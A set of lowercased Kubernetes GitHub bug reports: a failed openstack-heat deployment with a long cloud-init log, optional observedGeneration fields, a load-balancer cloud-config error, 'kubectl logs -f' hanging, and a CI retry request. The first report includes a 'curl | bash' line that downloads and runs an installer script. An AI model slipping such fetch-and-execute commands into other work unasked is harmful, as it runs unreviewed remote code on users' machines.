kubernetes version    use  kubectl version  : 1.5.4 from releases  .tar.gz \r \r   environment  :\r -   cloud provider or hardware configuration  : mirantis openstack 9.2  mitaka  over vmware\r -   os    e.g. from /etc/os-release : centos 7.3  1611 \r -   kernel    e.g.  uname -a  : 3.10.0-514.el7.x86_64\r -   install tools  :  kubernetes_provider=openstack-heat ./cluster/kube-up.sh \r -   others  : deployment from both .tar.gz downloaded from releases and downloaded thru  export kubernetes_provider=openstack-heat; curl -ss https://get.k8s.io | bash \r \r   what happened  : tried to deploy on openstack infrastructure. the deploy fails and investigating the nodes, the master is deployed, the first minion is deployed as well   but on the second minion  node  i get the error below  :\r \r    \r mar 21 19:50:56 kube-stack-node-6vgkt9wr cloud-init 4643 : +++ install binaries from tar: kubernetes-server.tar.gz\r mar 21 19:52:33 kube-stack-node-6vgkt9wr chronyd 517 : selected source 200.160.7.186\r \r mar 21 20:01:02 kube-stack-node-6vgkt9wr systemd 1 : created slice user-0.slice.\r mar 21 20:01:02 kube-stack-node-6vgkt9wr systemd 1 : starting user-0.slice.\r mar 21 20:01:02 kube-stack-node-6vgkt9wr systemd 1 : started session 2 of user root.\r mar 21 20:01:02 kube-stack-node-6vgkt9wr systemd 1 : starting session 2 of user root.\r mar 21 20:01:02 kube-stack-node-6vgkt9wr crond 9309 :  root  cmd  run-parts /etc/cron.hourly \r mar 21 20:01:02 kube-stack-node-6vgkt9wr run-parts /etc/cron.hourly  9312 : starting 0anacron\r mar 21 20:01:02 kube-stack-node-6vgkt9wr anacron 9318 : anacron started on 2017-03-21\r mar 21 20:01:02 kube-stack-node-6vgkt9wr run-parts /etc/cron.hourly  9320 : finished 0anacron\r mar 21 20:01:02 kube-stack-node-6vgkt9wr anacron 9318 : will run job  cron.daily' in 21 min.\r mar 21 20:01:02 kube-stack-node-6vgkt9wr anacron 9318 : will run job  cron.weekly' in 41 min.\r mar 21 20:01:02 kube-stack-node-6vgkt9wr anacron 9318 : will run job  cron.monthly' in 61 min.\r mar 21 20:01:02 kube-stack-node-6vgkt9wr anacron 9318 : jobs will be executed sequentially\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/hyperkube’ -> ‘/srv/salt-new/salt/kube-bins/hyperkube’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kubeadm’ -> ‘/srv/salt-new/salt/kube-bins/kubeadm’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kube-apiserver’ -> ‘/srv/salt-new/salt/kube-bins/kube-apiserver’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kube-apiserver.docker_tag’ -> ‘/srv/salt-new/salt/kube-bins/kube-apiserver.docker_tag’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kube-apiserver.tar’ -> ‘/srv/salt-new/salt/kube-bins/kube-apiserver.tar’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kube-controller-manager’ -> ‘/srv/salt-new/salt/kube-bins/kube-controller-manager’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kube-controller-manager.docker_tag’ -> ‘/srv/salt-new/salt/kube-bins/kube-controller-manager.docker_tag’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kube-controller-manager.tar’ -> ‘/srv/salt-new/salt/kube-bins/kube-controller-manager.tar’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kubectl’ -> ‘/srv/salt-new/salt/kube-bins/kubectl’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kube-discovery’ -> ‘/srv/salt-new/salt/kube-bins/kube-discovery’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kube-dns’ -> ‘/srv/salt-new/salt/kube-bins/kube-dns’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kubefed’ -> ‘/srv/salt-new/salt/kube-bins/kubefed’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kubelet’ -> ‘/srv/salt-new/salt/kube-bins/kubelet’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kube-proxy’ -> ‘/srv/salt-new/salt/kube-bins/kube-proxy’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kube-proxy.docker_tag’ -> ‘/srv/salt-new/salt/kube-bins/kube-proxy.docker_tag’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kube-proxy.tar’ -> ‘/srv/salt-new/salt/kube-bins/kube-proxy.tar’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kube-scheduler’ -> ‘/srv/salt-new/salt/kube-bins/kube-scheduler’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kube-scheduler.docker_tag’ -> ‘/srv/salt-new/salt/kube-bins/kube-scheduler.docker_tag’\r mar 21 20:02:40 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/server/bin/kube-scheduler.tar’ -> ‘/srv/salt-new/salt/kube-bins/kube-scheduler.tar’\r mar 21 20:02:42 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/licenses’ -> ‘/srv/salt-new/salt/kube-docs/licenses’\r mar 21 20:02:49 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/kubernetes.t8mliv/kubernetes/kubernetes-src.tar.gz’ -> ‘/srv/salt-new/salt/kube-docs/kubernetes-src.tar.gz’\r mar 21 20:02:49 kube-stack-node-6vgkt9wr cloud-init 4643 : +++ swapping in new configs\r mar 21 20:02:49 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/salt-new/salt’ -> ‘/srv/salt’\r mar 21 20:02:49 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/salt-new/pillar’ -> ‘/srv/pillar’\r mar 21 20:02:49 kube-stack-node-6vgkt9wr cloud-init 4643 : ‘/srv/salt-new/reactor’ -> ‘/srv/reactor’\r mar 21 20:03:40 kube-stack-node-6vgkt9wr systemd 1 : starting cleanup of temporary directories...\r mar 21 20:03:40 kube-stack-node-6vgkt9wr systemd 1 : started cleanup of temporary directories.\r mar 21 20:03:44 kube-stack-node-6vgkt9wr flanneld-start 9240 : e0321 20:03:44.370202    9240 watch.go:272  subnet watch failed: client: etcd cluster is unavailable or misconfigured\r mar 21 20:03:45 kube-stack-node-6vgkt9wr flanneld-start 9240 : e0321 20:03:45.371060    9240 watch.go:272  subnet watch failed: client: etcd cluster is unavailable or misconfigured\r mar 21 20:03:46 kube-stack-node-6vgkt9wr flanneld-start 9240 : e0321 20:03:46.371481    9240 watch.go:272  subnet watch failed: client: etcd cluster is unavailable or misconfigured\r mar 21 20:03:47 kube-stack-node-6vgkt9wr flanneld-start 9240 : e0321 20:03:47.058055    9240 watch.go:43  watch subnets: client: etcd cluster is unavailable or misconfigured\r mar 21 20:03:47 kube-stack-node-6vgkt9wr flanneld-start 9240 : e0321 20:03:47.371898    9240 watch.go:272  subnet watch failed: client: etcd cluster is unavailable or misconfigured\r mar 21 20:03:48 kube-stack-node-6vgkt9wr flanneld-start 9240 : e0321 20:03:48.058487    9240 watch.go:43  watch subnets: client: etcd cluster is unavailable or misconfigured\r mar 21 20:03:48 kube-stack-node-6vgkt9wr flanneld-start 9240 : e0321 20:03:48.372367    9240 watch.go:272  subnet watch failed: client: etcd cluster is unavailable or misconfigured\r mar 21 20:03:49 kube-stack-node-6vgkt9wr flanneld-start 9240 : e0321 20:03:49.058958    9240 watch.go:43  watch subnets: client: etcd cluster is unavailable or misconfigured\r mar 21 20:03:49 kube-stack-node-6vgkt9wr flanneld-start 9240 : e0321 20:03:49.372808    9240 watch.go:272  subnet watch failed: client: etcd cluster is unavailable or misconfigured\r mar 21 20:03:50 kube-stack-node-6vgkt9wr flanneld-start 9240 : e0321 20:03:50.059457    9240 watch.go:43  watch subnets: client: etcd cluster is unavailable or misconfigured\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 : curl:  6  could not resolve host: bootstrap.saltstack.com; unknown error\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 : 2017-03-21 20:03:50,187 - util.py warning : failed running /var/lib/cloud/instance/scripts/part-009  6 \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py warning : failed running /var/lib/cloud/instance/scripts/part-009  6 \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : failed running /var/lib/cloud/instance/scripts/part-009  6 \r                                                            traceback  most recent call last :\r                                                              file \ /usr/lib/python2.7/site-packages/cloudinit/util.py\ , line 619, in runparts\r                                                                subp prefix +  exe_path , capture=false \r                                                              file \ /usr/lib/python2.7/site-packages/cloudinit/util.py\ , line 1539, in subp\r                                                                cmd=args \r                                                            processexecutionerror: unexpected error while running command.\r                                                            command:  '/var/lib/cloud/instance/scripts/part-009' \r                                                            exit code: 6\r                                                            reason: -\r                                                            stdout: ''\r                                                            stderr: ''\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  cc_scripts_user.py warning : failed to run module scripts-user  scripts in /var/lib/cloud/instance/scripts \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 : 2017-03-21 20:03:50,191 - cc_scripts_user.py warning : failed to run module scripts-user  scripts in /var/lib/cloud/instance/scripts \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 : 2017-03-21 20:03:50,191 - util.py warning : running scripts-user  <module 'cloudinit.config.cc_scripts_user'\r from '/usr/lib/python2.7/site-packages/cloudinit/config/cc_scripts_user.pyc'>  failed\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py warning : running scripts-user  <module 'cloudinit.config.cc_scripts_user' from '/usr/lib/python2.7/site-packages/cloudinit/config/cc_scripts_user.pyc'>  failed\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : running scripts-user  <module 'cloudinit.config.cc_scripts_user' from '/usr/lib/python2.7/site-packages/cloudinit/config/cc_scripts_user.pyc'>  failed\r                                                            traceback  most recent call last :\r                                                              file \ /usr/lib/python2.7/site-packages/cloudinit/stages.py\ , line 658, in _run_modules\r                                                                cc.run run_name, mod.handle, func_args, freq=freq \r                                                              file \ /usr/lib/python2.7/site-packages/cloudinit/cloud.py\ , line 63, in run\r                                                                return self._runners.run name, functor, args, freq, clear_on_fail \r                                                              file \ /usr/lib/python2.7/site-packages/cloudinit/helpers.py\ , line 197, in run\r                                                                results = functor  args \r                                                              file \ /usr/lib/python2.7/site-packages/cloudinit/config/cc_scripts_user.py\ , line 38, in handle\r                                                                util.runparts runparts_path \r                                                              file \ /usr/lib/python2.7/site-packages/cloudinit/util.py\ , line 626, in runparts\r                                                                %  len failed , len attempted   \r                                                            runtimeerror: runparts: 1 failures in 4 attempted commands\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : writing to /var/lib/cloud/instances/8fa5c106-d869-4c42-bf68-acb185c83f45/sem/config_ssh_authkey_fingerprints - wb:  420  20 bytes\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : restoring selinux mode for /var/lib/cloud/instances/8fa5c106-d869-4c42-bf68-acb185c83f45/sem/config_ssh_authkey_fingerprints  recursive=false \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : restoring selinux mode for /var/lib/cloud/instances/8fa5c106-d869-4c42-bf68-acb185c83f45/sem/config_ssh_authkey_fingerprints  recursive=false \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  helpers.py debug : running config-ssh-authkey-fingerprints using lock  <filelock using file '/var/lib/cloud/instances/8fa5c106-d869-4c42-bf68-acb185c83f45/sem/config_ssh_authkey_fingerprints'> \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : looking for modules  'cloudinit.mergers.m_list'  that have attributes  'merger' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : found m_list with attributes  'merger'  in  'cloudinit.mergers.m_list' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : looking for modules  'cloudinit.mergers.m_dict'  that have attributes  'merger' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : found m_dict with attributes  'merger'  in  'cloudinit.mergers.m_dict' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : looking for modules  'cloudinit.mergers.m_str'  that have attributes  'merger' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : found m_str with attributes  'merger'  in  'cloudinit.mergers.m_str' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  __init__.py debug : merging 'dict' into 'dict' using method '_handle_unknown' of 'lookupmerger:  3 '\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  __init__.py debug : merging using located merger 'dictmerger:  method=no_replace,recurse_str=false,recurse_dict=true,recurse_array=false,allow_delete=false ' since it had method '_on_dict'\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : looking for modules  'cloudinit.mergers.m_list'  that have attributes  'merger' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : found m_list with attributes  'merger'  in  'cloudinit.mergers.m_list' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : looking for modules  'cloudinit.mergers.m_dict'  that have attributes  'merger' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : found m_dict with attributes  'merger'  in  'cloudinit.mergers.m_dict' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : looking for modules  'cloudinit.mergers.m_str'  that have attributes  'merger' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : found m_str with attributes  'merger'  in  'cloudinit.mergers.m_str' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  __init__.py debug : merging 'dict' into 'dict' using method '_handle_unknown' of 'lookupmerger:  3 '\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  __init__.py debug : merging using located merger 'dictmerger:  method=no_replace,recurse_str=false,recurse_dict=true,recurse_array=false,allow_delete=false ' since it had method '_on_dict'\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : looking for modules  'cloudinit.mergers.m_list'  that have attributes  'merger' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : found m_list with attributes  'merger'  in  'cloudinit.mergers.m_list' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : looking for modules  'cloudinit.mergers.m_dict'  that have attributes  'merger' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : found m_dict with attributes  'merger'  in  'cloudinit.mergers.m_dict' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : looking for modules  'cloudinit.mergers.m_str'  that have attributes  'merger' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  importer.py debug : found m_str with attributes  'merger'  in  'cloudinit.mergers.m_str' \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  __init__.py debug : merging 'dict' into 'dict' using method '_handle_unknown' of 'lookupmerger:  3 '\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  __init__.py debug : merging using located merger 'dictmerger:  method=no_replace,recurse_str=false,recurse_dict=true,recurse_array=false,allow_delete=false ' since it had method '_on_dict'\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : reading from /etc/ssh/sshd_config  quiet=false \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : read 4359 bytes from /etc/ssh/sshd_config\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : reading from /home/minion/.ssh/authorized_keys  quiet=false \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : read 395 bytes from /home/minion/.ssh/authorized_keys\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : writing to /var/lib/cloud/instances/8fa5c106-d869-4c42-bf68-acb185c83f45/sem/config_keys_to_console - wb:  420  20 bytes\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : restoring selinux mode for /var/lib/cloud/instances/8fa5c106-d869-4c42-bf68-acb185c83f45/sem/config_keys_to_console  recursive=false \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : restoring selinux mode for /var/lib/cloud/instances/8fa5c106-d869-4c42-bf68-acb185c83f45/sem/config_keys_to_console  recursive=false \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  helpers.py debug : running config-keys-to-console using lock  <filelock using file '/var/lib/cloud/instances/8fa5c106-d869-4c42-bf68-acb185c83f45/sem/config_keys_to_console'> \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : running command  '/usr/libexec/cloud-init/write-ssh-key-fingerprints', '', 'ssh-dss'  with allowed return codes  0   shell=false, capture=true \r mar 21 20:03:50 kube-stack-node-6vgkt9wr flanneld-start 9240 : e0321 20:03:50.373305    9240 watch.go:272  subnet watch failed: client: etcd cluster is unavailable or misconfigured\r mar 21 20:03:50 kube-stack-node-6vgkt9wr ec2 9352 :\r mar 21 20:03:50 kube-stack-node-6vgkt9wr ec2 9352 :                                                              \r mar 21 20:03:50 kube-stack-node-6vgkt9wr ec2 9352 : -----begin ssh host key fingerprints-----\r mar 21 20:03:50 kube-stack-node-6vgkt9wr ec2 9352 : 256 c8:2d:56:d5:03:ed:2e:27:b7:d7:49:64:2a:3c:ef:c4    ecdsa \r mar 21 20:03:50 kube-stack-node-6vgkt9wr ec2 9352 : 256 30:65:95:39:44:85:e3:ca:0d:f2:d1:20:c7:a9:b4:5e    ed25519 \r mar 21 20:03:50 kube-stack-node-6vgkt9wr ec2 9352 : 2048 e6:7d:8b:52:c9:24:05:81:2a:9f:60:ef:f4:9a:eb:05    rsa \r mar 21 20:03:50 kube-stack-node-6vgkt9wr ec2 9352 : -----end ssh host key fingerprints-----\r mar 21 20:03:50 kube-stack-node-6vgkt9wr ec2 9352 :                                                              \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : writing to /var/lib/cloud/instances/8fa5c106-d869-4c42-bf68-acb185c83f45/sem/config_phone_home - wb:  420  20 bytes\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : restoring selinux mode for /var/lib/cloud/instances/8fa5c106-d869-4c42-bf68-acb185c83f45/sem/config_phone_home  recursive=false \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : restoring selinux mode for /var/lib/cloud/instances/8fa5c106-d869-4c42-bf68-acb185c83f45/sem/config_phone_home  recursive=false \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  helpers.py debug : running config-phone-home using lock  <filelock using file '/var/lib/cloud/instances/8fa5c106-d869-4c42-bf68-acb185c83f45/sem/config_phone_home'> \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  cc_phone_home.py debug : skipping module named phone-home, no 'phone_home' configuration found\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  helpers.py debug : running config-final-message using lock  <cloudinit.helpers.dummylock object at 0x1f15bd0> \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : reading from /proc/uptime  quiet=false \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : read 14 bytes from /proc/uptime\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : cloud-init v. 0.7.5 finished at tue, 21 mar 2017 20:03:50 +0000. datasource datasourceopenstack  net,ver=2 .  up 909.87 seconds\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : writing to /var/lib/cloud/instance/boot-finished - wb:  420  52 bytes\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 : cloud-init v. 0.7.5 finished at tue, 21 mar 2017 20:03:50 +0000. datasource datasourceopenstack  net,ver=2 .\r  up 909.87 seconds\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : restoring selinux mode for /var/lib/cloud/instances/8fa5c106-d869-4c42-bf68-acb185c83f45/boot-finished  recursive=false \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : restoring selinux mode for /var/lib/cloud/instances/8fa5c106-d869-4c42-bf68-acb185c83f45/boot-finished  recursive=false \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  cloud-init debug : ran 9 modules with 1 failures\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : creating symbolic link from '/run/cloud-init/result.json' => '../../var/lib/cloud/data/result.json'\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : reading from /proc/uptime  quiet=false \r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : read 14 bytes from /proc/uptime\r mar 21 20:03:50 kube-stack-node-6vgkt9wr cloud-init 4643 :  cloudinit  util.py debug : cloud-init mode 'modules' took 73.307 seconds  878.79 \r mar 21 20:03:50 kube-stack-node-6vgkt9wr systemd 1 : cloud-final.service: main process exited, code=exited, status=1/failure\r mar 21 20:03:50 kube-stack-node-6vgkt9wr systemd 1 : failed to start execute cloud user/final scripts.\r mar 21 20:03:50 kube-stack-node-6vgkt9wr systemd 1 : unit cloud-final.service entered failed state.\r mar 21 20:03:50 kube-stack-node-6vgkt9wr systemd 1 : cloud-final.service failed.\r mar 21 20:03:50 kube-stack-node-6vgkt9wr systemd 1 : reached target multi-user system.\r mar 21 20:03:50 kube-stack-node-6vgkt9wr systemd 1 : starting multi-user system.\r mar 21 20:03:50 kube-stack-node-6vgkt9wr systemd 1 : starting update utmp about system runlevel changes...\r mar 21 20:03:50 kube-stack-node-6vgkt9wr systemd 1 : started update utmp about system runlevel changes.\r mar 21 20:03:50 kube-stack-node-6vgkt9wr systemd 1 : startup finished in 1.414s  kernel  + 1.123s  initrd  + 15min 7.364s  userspace  = 15min 9.902s. \r    \r \r tried with two and three nodes but the error always appears on the second node.\r \r also i had to add some missing parameters in the documentation from https://kubernetes.io/docs/getting-started-guides/openstack-heat/\r \r   the versions of openstack clients described in the page do not work with mitaka  never tested on earlier releases . had to remove the version enforcement and it works.\r   had to add fixed_network_cidr otherwise delpoyment misses a heat parameter\r \r   what you expected to happen  : successful deployment\r \r   how to reproduce it    as minimally and precisely as possible : download 1.5.4 version and deploy on openstack mitaka using centos 7.3 image.\r \r   anything else we need to know  :\r one of the nodes always installs correctly.\r

these fields are marked optional on every type that uses them. this makes it impossible to _reliably_ use observedgeneration as a sanity check. it should always be populated so that it can be used to verify you are looking at a status for the correct version of the resource.\r \r in kubernetes 1.5, the observedgeneration in statefulsetstatus was never populated   this appears to have been fixed in later versions  https://github.com/kubernetes/kubernetes/commit/1b55f57391f5a648b1f9859118a2d1fef7017ffe diff-daa5b073ddfa8e3390bee583280edb5br260  . this made deleting a statefulset by scaling it down and then deleting it an unreliable operation, because there was no way to know that the reported number of replicas was current. if it were enforced that these fields were populated, it would not have been possible to introduce this bug.\r \r as these fields are optional, it's possible that a future update will introduce similarly difficult behavior.

user can not specify --cloud-config for cloudprovider correctly and failed to create/use cloud resource,  it is necessary to add document into kubernetes.github.io and add code to check file before init cloudprovider, \tinstead of returning error when create/use cloud resource.\r \r common problems：\r \r nginx-service-lb2   10.254.167.38    <pending>          8000:32175/tcp   3m\r -bash-4.3  kubectl describe service nginx-service-lb2\r name:\t\t\tnginx-service-lb2\r namespace:\t\tdefault\r labels:\t\t\t<none>\r annotations:\t\t<none>\r selector:\t\tname=nginx\r type:\t\t\tloadbalancer\r ip:\t\t\t10.254.167.38\r port:\t\t\t<unset>\t8000/tcp\r nodeport:\t\t<unset>\t32175/tcp\r endpoints:\t\t<none>\r session affinity:\tnone\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t\t-------\r   3m\t\t51s\t\t6\tservice-controller\t\t\tnormal\t\tcreatingloadbalancer\t\tcreating load balancer\r   3m\t\t48s\t\t6\tservice-controller\t\t\twarning\t\tcreatingloadbalancerfailed\terror creating load balancer  will retry : failed to create load balancer for service default/nginx-service-lb2: error creating lb pool healthmonitor: missing input for argument  delay

 \r  kubectl logs -f   is not working on kubernetes 1.8. it gets stuck and only returns when the container exits.\r \r i tested it in gke 1.6.11 and 1.7.8 and it works there. but doesn't work on gke 1.8.0.\r \r here's a simple reproduction:\r 1. create a 1.8.0 or 1.8.1 cluster.\r 2. run a simple busybox container and  echo \ hello\  .\r    \r $ kubectl run -i -t busybox --image=busybox --restart=never\r if you don't see a command prompt, try pressing enter.\r /   echo \ hello\ \r hello\r    \r 3. in another terminal, try  kubectl logs  without  -f . it works.\r    \r $ kubectl logs po/busybox\r /   echo \ hello\ \r hello\r    \r \r 4. try  kubect logs -f  now. it gets stuck.\r    \r $ kubectl logs po/busybox -f\r    \r \r 5. enter more commands in the busybox terminal but there are still no logs in the  -f  terminal.\r    \r ...\r /   echo \ hello\ \r hello\r /   echo \ hi\ \r hi\r    \r \r 6. in another terminal try  kubectl logs  without  -f  again. that still works.\r    \r $ kubectl logs po/busybox\r /   echo \ hello\ \r hello\r /   echo \ hi\ \r hi\r    \r 7.  exit the busybox container:\r    \r ...\r /   echo \ hi\ \r hi\r /   exit\r    \r \r 8. logs would show up on the  -f  terminal now.\r \r  \r cc - @pwittrock @jpbetz

is this a bug report or feature request?  :\r \r  @kubernetes/sig-scalability-bugs\r / umbrella issue:  56062\r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-release-1-7/735 failed with:\r    \r w0201 03:00:44.542  2018/02/01 03:00:44 util.go:155: running: gsutil cat gs://kubernetes-release-dev/ci/latest-1.7.txt\r w0201 03:01:05.005  serviceexception: 503 none\r w0201 03:01:05.157  2018/02/01 03:01:05 util.go:157: step 'gsutil cat gs://kubernetes-release-dev/ci/latest-1.7.txt' finished in 20.615151603s\r w0201 03:01:05.158  2018/02/01 03:01:05 main.go:248: saved xml output to /workspace/_artifacts/junit_runner.xml.\r w0201 03:01:05.158  2018/02/01 03:01:05 main.go:319: something went wrong: failed to acquire k8s binaries: error during gsutil cat gs://kubernetes-release-dev/ci/latest-1.7.txt: exit status 1\r    \r \r   what you expected to happen  :\r \r this kind of error should be retried, not crash the whole job.

